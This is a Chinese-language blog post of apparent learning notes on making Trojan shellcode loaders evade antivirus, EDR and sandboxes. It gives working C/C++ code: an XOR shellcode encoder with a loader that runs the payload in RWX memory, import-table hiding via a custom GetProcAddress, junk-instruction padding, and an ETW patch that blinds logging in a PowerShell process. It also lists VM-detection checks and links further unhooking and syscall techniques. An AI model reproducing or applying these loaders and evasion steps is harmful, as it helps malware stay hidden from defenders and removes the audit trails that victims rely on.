抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

在我初学免杀时,也自己手动实现了一个程序,不过还是没有逃过杀毒软件的识别😀。今天就先来总结一下已经学习过的知识,避免忘记。

大致了解

首先做免杀是为了什么,肯定是我们想让我们的木马可以运行而且不被杀软识别。我们的木马是什么?就是我们使用MSF或者CS生成的shellcode,那么就引进来了一个重要概念:shellcode。

这里就不过多介绍生成shellcode的工具了,已经有很多教程详细介绍了如何使用,生成shellcode后,还需要一个shellcodeloader,用来加载shellcode,不然单指望一个shellcode就可以到达我们远程控制的目的,实在是有些小看各大安全厂商所付出的努力了。这里就又绕回到免杀上来了,我们的shellcodeloader如何才能不被各家安全厂商的识别为木马程序,就是我们学习的重点。

总结一下这一部分的重点:shellcode的生成shellcodeloader的免杀

检测方法

俗话说知己知彼,百战百胜。我们只有知道各大安全厂商是如何大致检测木马程序,才能有针对的进行绕过。

基于特征码的扫描

这个不难理解,对文件或内存中的存在的特征做检测,像字符串或者高危API函数。检测方法是做模糊哈希或者机器学习跑模型,内部应该是一种累计计数方式为程序进行检测,等危险函数或字符串累积到一定阈值,就报警。这种方法准确度很高,但是很难针对未知的木马。

关联检测

这个就很难说明白了。有可能检测shellcode的特征,或者也可能是一组关联的代码,把一组关联信息作为特征。按照我的理解来说,这个关联特征应该与shellcode的加载有关,比如使用远程线程加载技术时,就不可避免的使用一些API函数,当这些API函数单独出现不会报警,但要是一起出现就可能被当作木马。

沙箱

我觉得沙箱应该和行为检测是一种类型。启动一个虚拟环境给疑似木马的程序运行,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。主要针对的就是变形木马。

如何绕过

针对上述检测方法,有许多大佬孜孜不倦的开发出了许多方法进行绕过。本人也不过在这里拾人牙慧,略做总结。

针对特征码检测

加密shellcode

既然你可以在文件中通过我的shellcode和硬编码的字符串检测到我,那么我就变形,消除特征。具体操作就是对shellcode和硬编码字符串进行异或、编码或者加密,等我到内存中自解密,不影响程序正常执行。但是要注意加密操作可能影响文件信息熵的增加,笔者曾经在某位大佬的博客中见到有些杀软会检测信息熵的大小,如果过高也会定义为木马程序。

代码实现(vs2017):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include<Windows.h>
#include<string.h>
unsigned char shellcode[] =
{
//你的shellcode
};

void xorcode(char *shellBuffer, int nlength, int key)
{
int i = 0;
for (i = 0; i < nlength; i++)
{
shellBuffer[i] ^= key;
}
}

void recode(char*szBuffer, int nLength)
{
char *szTemp = new char[nLength] {0};
int count = nLength - 1;
for (int i = 0; i < count; i++)
szTemp[count - i] = szBuffer[i];

for(size_t i = 0; i <=count; i++)
szBuffer[i]=szTemp[i];
}

void WriteToFile(const char*szPath, char*szBuffer, int nLength)
{
HANDLE hFile = CreateFileA(szPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOfBytesWritten = 0;
BOOL bRet = WriteFile(hFile, szBuffer, nLength, &lpNumberOfBytesWritten, NULL);
if (bRet)
std::cout << "WriteFile Success!" << std ::endl;
else
std::cout << "WriteFile Failed!" << std :: endl;
}

int main()
{
recode((char*)&shellcode, sizeof(shellcode)); //将shellcode倒叙
xorcode((char*)&shellcode, sizeof(shellcode), 0x75);//异或shellcode
WriteToFile("D:\\shellcode.ini", (char*)&shellcode, sizeof(shellcode));//将shellcode写入shellcode.ini中
return 0;
}
//W-------------------------------------我是分割线--------------------------------------W

这段代码是对应的shellcodeloader程序的main函数,先解密,再在当前进程分配内存空间,写入shellcoed,接着创建一个线程,起始地址为分配空间的地址,执行shellcode
//int main()
//{
//
// xorcode((char*)&shellcode, sizeof(shellcode), 0x75);
// recode((char*)&shellcode, sizeof(shellcode));
// LPVOID lpBuffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// SIZE_T lpNumberOfBytesWritten = 0;
// WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, sizeof(shellcode), &lpNumberOfBytesWritten);
// HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
// if (hThread != NULL) {
// printf("success");
// }
// else {
// printf("error");
// }
// WaitForSingleObject(hThread, INFINITE);
// return 0;
//}

通过上述代码就可以将你的shellcode进行简单加密,当在shellcodeloader中加载shellcode的时候也要先解密再运行。

shellcode分离

这种思路是你既然从程序中检测到我的shellcode,那么我就不把shellcode写进程序中,而是通过网络连接远程读取程序获取sehllcode,再执行shellcode。由于笔者没有马内买不起服务器,所以暂时没有实现shellcode分离的代码。

加壳免杀

一些加壳软件对程序加壳后,基本可以实现特征码的覆盖。这里指的加壳软件是加密壳,本质还是对shellcode进行加密来隐藏特征。这里笔者也没有做过尝试,是理论可行的范围。

针对关联检测

隐藏IAT

当我们调用API时可以在导入表中明显看到,这对于木马编写者来说肯定是一大败笔,因为反病毒人员很轻松就能看到你有没有调用可疑函数进行一连串的操作,那么我们就要隐藏我们的导入函数。

代码实现(vs2017):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <iostream>
#include <Windows.h>


// 获取 Kernel32.dll 的基址
DWORD GetKernel32Address()
{
// 使用汇编获取 TEB 和 PEB 结构,从而获取 Kernel32.dll 的基址
DWORD dwKernel32Addr = 0;
_asm {
push eax
mov eax, dword ptr fs:[0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x1C]
mov eax, [eax]
mov eax, [eax + 0x08]
mov dwKernel32Addr, eax
pop eax
}
return dwKernel32Addr;
}

DWORD MyGetProcAddress()
{
DWORD dwAddrBase =GetKernel32Address();// 获取 Kernel32.dll 的基址
PIMAGE_DOS_HEADER pDos=(PIMAGE_DOS_HEADER)dwAddrBase;// 转换为 DOS 头指针
PIMAGE_NT_HEADERS pNt=(PIMAGE_NT_HEADERS)(pDos->e_lfanew +dwAddrBase);// 转换为 NT 头指针
PIMAGE_DATA_DIRECTORY pDataDir= pNt->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT;// 获取导出表数据目录
PIMAGE_EXPORT_DIRECTORY pExport=(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase+pDataDir->VirtualAddress);// 获取导出表
DWORD dwFunCount= pExport->NumberOfFunctions;// 导出函数表数量
DWORD dwFunNameCount =pExport->NumberOfNames;// 导出函数名数量
PDWORD pAddrOfFun=(PDWORD)(pExport->AddressOfFunctions+dwAddrBase);// 函数地址表指针
PDWORD pAddrOfNames=(PDWORD)(pExport->AddressOfNames+dwAddrBase);// 函数名表指针
PWORD pAddrOfOrdinals=(PWORD)(pExport->AddressOfNameOrdinals+dwAddrBase);// 序号表指针
for (size_t i = 0; i< dwFunCount; i++)// 遍历导出函数表
{
if (!pAddrOfFun[i])// 如果函数地址为0,跳过
continue;
DWORD dwFunAddrOffset =pAddrOfFun[i];// 获取当前函数地址偏移
for (size_t j = 0; j < dwFunNameCount; j++)// 遍历导出函数名表
{
if (pAddrOfOrdinals[j] == i)// 如果序号表中的序号等于当前索引
{
DWORD dwNameOffset = pAddrOfNames[j];// 获取函数名偏移
char *pFuncName = (char *)(dwAddrBase + dwNameOffset);// 获取函数名地址
if (strcmp(pFuncName, "GetProcAddress") == 0)// 如果函数名匹配 GetProcAddress
return dwFunAddrOffset + dwAddrBase;// 返回 GetProcAddress 地址
}
}
}
}
// 自定义函数指针类型
//LoadLibrary
EXTERN_C typedef HMODULE
(WINAPI
*fnLoadLibraryA)(
_In_ LPCSTR lpLibFileName);
//GetProcAddress
EXTERN_C typedef WINBASEAPI
FARPROC
(WINAPI
*fnGetProcAddress)
(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName);
//MessageBoxA
EXTERN_C typedef int
(WINAPI *
fnMessageBoxA)(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);
//ExitProcess
EXTERN_C typedef VOID
(WINAPI
*fnExitProcess)(
_In_ UINT uExitCode);

int main()
{
// 获取 自定义实现的 MyGetProcAddress 函数地址
fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)MyGetProcAddress();
// 获取 Kernel32.dll 的基址
HMODULE hKernel32 = (HMODULE)GetKernel32Address();
// 通过 GetProcAddress 获取 LoadLibraryA 函数的地址,并加载 user32.dll
fnLoadLibraryA pfnLoadLibraryA=(fnLoadLibraryA)pfnGetProcAddress(hKernel32, "LoadLibraryA");
HMODULE hUser32 = (HMODULE)pfnLoadLibraryA("user32.dll");
// 通过 GetProcAddress 获取 MessageBoxA 函数的地址,并调用该函数
fnMessageBoxA pfnMessageBoxA=(fnMessageBoxA)pfnGetProcAddress(hUser32, "MessageBoxA");
pfnMessageBoxA(NULL, "success", "Msg", MB_OK);
// 通过 GetProcAddress 获取 ExitProcess 函数的地址,并调用该函数
fnExitProcess pfnExitProcess=(fnExitProcess)pfnGetProcAddress(hKernel32, "ExitProcess");
pfnExitProcess(0);
return 0;
}

image-20240419195759335

这段代码只是一个小demo,通过实现我们自己的GetProcAddress函数,来加载各种API函数,达到绕过导入表的目的。

花指令免杀

一些厂商在检测特征码时,会存在一个偏移范围,我们只要填充垃圾数据超过这个偏移范围,就可以做到躲避检测的效果。但毕竟是猜测的偏移范围,失败的概率还是不小的。比如我们在上述获取获取 Kernel32.dll 的基址的函数中添加nop,可能会对绕过杀软有帮助

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
DWORD dwKernel32Addr = 0;
_asm {
push eax
nop
nop
nop
nop
mov eax, dword ptr fs:[0x30]
nop
nop
nop
nop
mov eax, [eax + 0x0c]
nop
nop
nop
nop
mov eax, [eax + 0x1C]
nop
nop
nop
nop
mov eax, [eax]
nop
nop
nop
nop
mov eax, [eax + 0x08]
nop
nop
nop
nop
mov dwKernel32Addr, eax
nop
nop
nop
nop
pop eax
}

禁用ETW

​ 先来了解一下什么是ETW。按照我的理解,就是windows提供的事件跟踪日志系统,用于系统和应用诊断、故障排除和性能监视,同样也可以用来监视execute-assembly等功能的行为操作。那么为了留下更少的入侵痕迹,就可以禁用ETW。

通过研究大佬的博客,ETWTRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找ETW特定结构并动态修改ntdll!ETWEventWrite立即返回从而停止跟踪日志记录。关键点就是ntdll!ETWEventWrite

先查看产生大量日志的程序是什么样子,以powershell为例

image-20240423211134350

接着可以patch ntdll!EtwEventWrite函数来查看是否禁用了ETW。

在将powershell进程附加到x64dbg中,在ntdll!EtwEventWrite上下断点

image-20240423211832469

一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接返回(ret)就好。

image-20240423212140465

之后F9运行,在processhacker中查看日志信息

image-20240423212404505

已经读取不到所有信息。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

//启动一个 PowerShell 进程,并将进程信息保存在 pi 中
CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

//获取 ntdll.dll 中的 EtwEventWrite 函数的地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

//Sleep(500);

DWORD oldProtect;
//ret
char patch = 0xc3;

//将 EtwEventWrite 函数的内存页设置为可读写执行
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
//将第一个字节修改为 ret 指令
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char),NULL);
//修改过的内存页的保护属性恢复为修改之前的状态
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
//ResumeThread 恢复 PowerShell 进程的执行
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//FreeLibrary(hNtdll);
return 0;

}

不过完全禁用并不是最好的想法,当防御者发现一条日志也没有,那也就说明遭到了入侵。我们要做的应该是提供虚假信息或者过滤到我们不想让防御者看到的信息

调用系统级函数

直接系统调用是直接对内核系统调用等效的 WINAPI 调用。我们不调用 ntdll.dll VirtualAlloc,而是调用它在 Windows 内核中定义的内核等效 NtAlocateVirtualMemory。这就避免了EDR在用户层对ntdll的检测。

红队战术:结合直接系统调用和 sRDI 绕过 AV/EDR |包抄 (outflank.nl)

删除或覆盖ntdll里面的hook

hlldz/RefleXXion:RefleXXion 是一个实用程序,旨在帮助绕过 AV/EPP/EDR 等使用的用户模式钩子。为了绕过用户模式钩子,它首先收集 LdrpThunkSignature 数组中找到的 NtOpenFile、NtCreateSection、NtOpenSection 和 NtMapViewOfSection 的系统调用号。 (github.com)

EDR 并行分析 - MDSec

欺骗线程调用堆栈

如何使用ThreadStackSpoofer隐藏Shellcode的内存分配行为-腾讯云开发者社区-腾讯云 (tencent.com)

beacon/shellcode 内存加密

Sangfor华东天勇战队:内存规避 - FreeBuf网络安全行业门户

不使用RWX内存

无可执行权限加载 ShellCode - HexNy0a - 博客园 (cnblogs.com)

作者的思路就是不将shellcode写入内存,避免检测到shellcode的特征码,接着通过解释器去解释运行shellcode,达到“不见shellcode,执行shellcode”的操作。不过从另一个角度来看,就是将shellcode写入到可读可写可执行的内存中,变为将解释器写入到可读可写可执行的内存中去。

针对沙箱

检测虚拟机特征值

检测是否存在 \\Device\\VBoxGuest设备文件

检测是否存在设备名包含 VBOX 关键字或者 VMWARE 关键字

检测虚拟机中特有的进程

检测是否存在虚拟机特有的注册表键值

检测是否存在虚拟机特有的文件

检测系统环境启动时间